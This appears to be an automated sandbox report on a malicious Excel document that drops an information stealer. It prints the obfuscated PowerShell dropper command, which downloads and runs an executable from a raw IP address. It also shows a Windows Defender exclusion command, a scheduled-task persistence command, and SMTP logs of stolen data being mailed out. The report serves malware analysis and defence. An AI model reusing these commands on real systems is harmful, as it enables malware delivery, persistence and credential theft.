Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Aug 13, 2024 20:25:53.012552023 CEST	587	49207	208.91.199.224	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Aug 13, 2024 20:25:53.012814045 CEST	49207	587	192.168.2.22	208.91.199.224	EHLO 888683
Aug 13, 2024 20:25:53.171355963 CEST	587	49207	208.91.199.224	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Aug 13, 2024 20:25:53.172539949 CEST	49207	587	192.168.2.22	208.91.199.224	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Aug 13, 2024 20:25:53.333530903 CEST	587	49207	208.91.199.224	192.168.2.22	334 UGFzc3dvcmQ6
Aug 13, 2024 20:25:53.498531103 CEST	587	49207	208.91.199.224	192.168.2.22	235 2.7.0 Authentication successful
Aug 13, 2024 20:25:53.499133110 CEST	49207	587	192.168.2.22	208.91.199.224	MAIL FROM:<jyotis@sixilncoln.com>
Aug 13, 2024 20:25:53.660145998 CEST	587	49207	208.91.199.224	192.168.2.22	250 2.1.0 Ok
Aug 13, 2024 20:25:53.660589933 CEST	49207	587	192.168.2.22	208.91.199.224	RCPT TO:<favourcloning@gmail.com>
Aug 13, 2024 20:25:53.861452103 CEST	587	49207	208.91.199.224	192.168.2.22	250 2.1.5 Ok
Aug 13, 2024 20:25:53.861922979 CEST	49207	587	192.168.2.22	208.91.199.224	DATA
Aug 13, 2024 20:25:54.023612022 CEST	587	49207	208.91.199.224	192.168.2.22	354 End data with <CR><LF>.<CR><LF>
Aug 13, 2024 20:25:54.024630070 CEST	49207	587	192.168.2.22	208.91.199.224	.
Aug 13, 2024 20:25:54.429477930 CEST	587	49207	208.91.199.224	192.168.2.22	250 2.0.0 Ok: queued as BBFC1A804E1
Aug 13, 2024 20:25:56.553353071 CEST	587	49213	208.91.199.223	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Aug 13, 2024 20:25:56.553514004 CEST	49213	587	192.168.2.22	208.91.199.223	EHLO 888683
Aug 13, 2024 20:25:56.708194017 CEST	587	49213	208.91.199.223	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Aug 13, 2024 20:25:56.708585978 CEST	49213	587	192.168.2.22	208.91.199.223	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Aug 13, 2024 20:25:56.865731955 CEST	587	49213	208.91.199.223	192.168.2.22	334 UGFzc3dvcmQ6
Aug 13, 2024 20:25:57.025535107 CEST	587	49213	208.91.199.223	192.168.2.22	235 2.7.0 Authentication successful
Aug 13, 2024 20:25:57.025816917 CEST	49213	587	192.168.2.22	208.91.199.223	MAIL FROM:<jyotis@sixilncoln.com>
Aug 13, 2024 20:25:57.182723999 CEST	587	49213	208.91.199.223	192.168.2.22	250 2.1.0 Ok
Aug 13, 2024 20:25:57.182936907 CEST	49213	587	192.168.2.22	208.91.199.223	RCPT TO:<favourcloning@gmail.com>
Aug 13, 2024 20:25:57.380317926 CEST	587	49213	208.91.199.223	192.168.2.22	250 2.1.5 Ok
Aug 13, 2024 20:25:57.380548000 CEST	49213	587	192.168.2.22	208.91.199.223	DATA
Aug 13, 2024 20:25:57.538000107 CEST	587	49213	208.91.199.223	192.168.2.22	354 End data with <CR><LF>.<CR><LF>
Aug 13, 2024 20:25:57.538513899 CEST	49213	587	192.168.2.22	208.91.199.223	.
Aug 13, 2024 20:25:57.973299980 CEST	587	49213	208.91.199.223	192.168.2.22	250 2.0.0 Ok: queued as 48672500771
Aug 13, 2024 20:25:58.038789988 CEST	587	49213	208.91.199.223	192.168.2.22	250 2.0.0 Ok: queued as 48672500771
Aug 13, 2024 20:25:59.141726017 CEST	587	49217	208.91.199.224	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Aug 13, 2024 20:25:59.141980886 CEST	49217	587	192.168.2.22	208.91.199.224	EHLO 888683
Aug 13, 2024 20:25:59.301354885 CEST	587	49217	208.91.199.224	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Aug 13, 2024 20:25:59.301676989 CEST	49217	587	192.168.2.22	208.91.199.224	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Aug 13, 2024 20:25:59.465667009 CEST	587	49217	208.91.199.224	192.168.2.22	334 UGFzc3dvcmQ6
Aug 13, 2024 20:25:59.731761932 CEST	587	49217	208.91.199.224	192.168.2.22	235 2.7.0 Authentication successful
Aug 13, 2024 20:25:59.732095957 CEST	49217	587	192.168.2.22	208.91.199.224	MAIL FROM:<jyotis@sixilncoln.com>
Aug 13, 2024 20:26:00.143615961 CEST	587	49217	208.91.199.224	192.168.2.22	250 2.1.0 Ok
Aug 13, 2024 20:26:00.143876076 CEST	49217	587	192.168.2.22	208.91.199.224	RCPT TO:<favourcloning@gmail.com>
Aug 13, 2024 20:26:00.549397945 CEST	587	49217	208.91.199.224	192.168.2.22	250 2.1.5 Ok
Aug 13, 2024 20:26:00.549776077 CEST	49217	587	192.168.2.22	208.91.199.224	DATA
Aug 13, 2024 20:26:00.718460083 CEST	587	49217	208.91.199.224	192.168.2.22	354 End data with <CR><LF>.<CR><LF>
Aug 13, 2024 20:26:00.719355106 CEST	49217	587	192.168.2.22	208.91.199.224	.
Aug 13, 2024 20:26:01.123513937 CEST	587	49217	208.91.199.224	192.168.2.22	250 2.0.0 Ok: queued as 448A3A805AC
Aug 13, 2024 20:26:05.187594891 CEST	587	49222	208.91.198.143	192.168.2.22	220 us2.outbound.mailhostbox.com ESMTP Postfix
Aug 13, 2024 20:26:05.188874960 CEST	49222	587	192.168.2.22	208.91.198.143	EHLO 888683
Aug 13, 2024 20:26:05.345963001 CEST	587	49222	208.91.198.143	192.168.2.22	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Aug 13, 2024 20:26:05.349524021 CEST	49222	587	192.168.2.22	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Aug 13, 2024 20:26:05.507941961 CEST	587	49222	208.91.198.143	192.168.2.22	334 UGFzc3dvcmQ6
Aug 13, 2024 20:26:05.671179056 CEST	587	49222	208.91.198.143	192.168.2.22	235 2.7.0 Authentication successful
Aug 13, 2024 20:26:05.671333075 CEST	49222	587	192.168.2.22	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Aug 13, 2024 20:26:05.831532001 CEST	587	49222	208.91.198.143	192.168.2.22	250 2.1.0 Ok
Aug 13, 2024 20:26:05.831769943 CEST	49222	587	192.168.2.22	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Aug 13, 2024 20:26:06.013304949 CEST	587	49222	208.91.198.143	192.168.2.22	250 2.1.5 Ok
Aug 13, 2024 20:26:06.013585091 CEST	49222	587	192.168.2.22	208.91.198.143	DATA
Aug 13, 2024 20:26:06.170491934 CEST	587	49222	208.91.198.143	192.168.2.22	354 End data with <CR><LF>.<CR><LF>
Aug 13, 2024 20:26:06.170988083 CEST	49222	587	192.168.2.22	208.91.198.143	.
Aug 13, 2024 20:26:06.463207006 CEST	587	49222	208.91.198.143	192.168.2.22	250 2.0.0 Ok: queued as E5629B80212

Target ID:	0
Start time:	14:24:00
Start date:	13/08/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f5e0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	14:24:24
Start date:	13/08/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\mshta.exe -Embedding
Imagebase:	0x13f170000
File size:	13'824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:24:28
Start date:	13/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" "/C POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"
Imagebase:	0x4a280000
File size:	345'088 bytes
MD5 hash:	5746BD7E255DD6A8AFA06F7C42C1BA41
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:24:29
Start date:	13/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	POWERShELL.eXE -Ex bYPasS -nOP -W 1 -c DevIcECRedENTIaLdePlOYmENT.EXE ; ieX($(IEX('[SyStEm.TEXT.eNcODinG]'+[char]58+[cHaR]0x3a+'UTf8.gEtsTriNG([sYSTeM.COnVErT]'+[cHar]58+[CHAr]0X3A+'FrOMbaSE64stRING('+[chAr]0x22+'JFQyNWd0Zm90RXVTICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlckRlRmlOSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNb04iLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0NsdUJFTW8sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ0lVLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNuLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSUdqRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJZVnZGVnlSdE4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsa3lrV0RleGggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRUMjVndGZvdEV1Uzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvNDAvc2lob3N0LmV4ZSIsIiRFblY6QVBQREFUQVxzaWhvc3QuZXhlIiwwLDApO1N0YVJULVNMZUVwKDMpO1N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNpaG9zdC5leGUi'+[chAr]34+'))')))"
Imagebase:	0x13fad0000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:24:31
Start date:	13/08/2024
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
Imagebase:	0xa0000
File size:	2'525'680 bytes
MD5 hash:	2F8D93826B8CBF9290BC57535C7A6817
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	14:24:35
Start date:	13/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline"
Imagebase:	0x13fdf0000
File size:	2'758'280 bytes
MD5 hash:	23EE3D381CFE3B9F6229483E2CE2F9E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	14:24:35
Start date:	13/08/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4D56.tmp" "c:\Users\user\AppData\Local\Temp\d1xzy0xm\CSCCF15997BD6B546CEB43AF983F4CD5CA2.TMP"
Imagebase:	0x13fdc0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:24:40
Start date:	13/08/2024
Path:	C:\Users\user\AppData\Roaming\sihost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sihost.exe"
Imagebase:	0x11c0000
File size:	786'432 bytes
MD5 hash:	D02CC222E09FD373FAF4030AC735618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000002.460456249.0000000003699000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 0000000C.00000002.455899860.00000000004D0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:24:41
Start date:	13/08/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Imagebase:	0x390000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:24:41
Start date:	13/08/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmp8AF2.tmp"
Imagebase:	0xa30000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:24:44
Start date:	13/08/2024
Path:	C:\Users\user\AppData\Roaming\sihost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sihost.exe"
Imagebase:	0x11c0000
File size:	786'432 bytes
MD5 hash:	D02CC222E09FD373FAF4030AC735618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	14:24:44
Start date:	13/08/2024
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {6C210698-E638-4D51-B8D8-9F29DBC70A32} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xff6a0000
File size:	464'384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	14:24:44
Start date:	13/08/2024
Path:	C:\Users\user\AppData\Roaming\bKVNuVuE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\bKVNuVuE.exe
Imagebase:	0x13c0000
File size:	786'432 bytes
MD5 hash:	D02CC222E09FD373FAF4030AC735618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:24:47
Start date:	13/08/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Imagebase:	0xc70000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: schtasks.exePID: 3816, Parent PID: 3712

General

Target ID:	22
Start time:	14:24:49
Start date:	13/08/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bKVNuVuE" /XML "C:\Users\user\AppData\Local\Temp\tmpA3FD.tmp"
Imagebase:	0xbf0000
File size:	179'712 bytes
MD5 hash:	2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:24:51
Start date:	13/08/2024
Path:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
Imagebase:	0x1000000
File size:	9'805'808 bytes
MD5 hash:	326A645391A97C760B60C558A35BB068
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:24:53
Start date:	13/08/2024
Path:	C:\Users\user\AppData\Roaming\bKVNuVuE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Imagebase:	0x13c0000
File size:	786'432 bytes
MD5 hash:	D02CC222E09FD373FAF4030AC735618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:24:54
Start date:	13/08/2024
Path:	C:\Users\user\AppData\Roaming\bKVNuVuE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Imagebase:	0x13c0000
File size:	786'432 bytes
MD5 hash:	D02CC222E09FD373FAF4030AC735618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	14:24:55
Start date:	13/08/2024
Path:	C:\Users\user\AppData\Roaming\bKVNuVuE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Imagebase:	0x13c0000
File size:	786'432 bytes
MD5 hash:	D02CC222E09FD373FAF4030AC735618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	14:24:56
Start date:	13/08/2024
Path:	C:\Users\user\AppData\Roaming\bKVNuVuE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Imagebase:	0x13c0000
File size:	786'432 bytes
MD5 hash:	D02CC222E09FD373FAF4030AC735618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	14:24:56
Start date:	13/08/2024
Path:	C:\Users\user\AppData\Roaming\bKVNuVuE.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\bKVNuVuE.exe"
Imagebase:	0x13c0000
File size:	786'432 bytes
MD5 hash:	D02CC222E09FD373FAF4030AC735618C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 2480, Parent PID: 564COMMON

Executed Functions

Function 026B0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.415136773.00000000026B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_26b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: b7d806413e045fd06e5be263f9af9e118532006051a8a7e917b6ef14429d20c3
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 026B0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.415136773.00000000026B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 026B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_26b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: b7d806413e045fd06e5be263f9af9e118532006051a8a7e917b6ef14429d20c3
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 3096, Parent PID: 2040COMMON

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

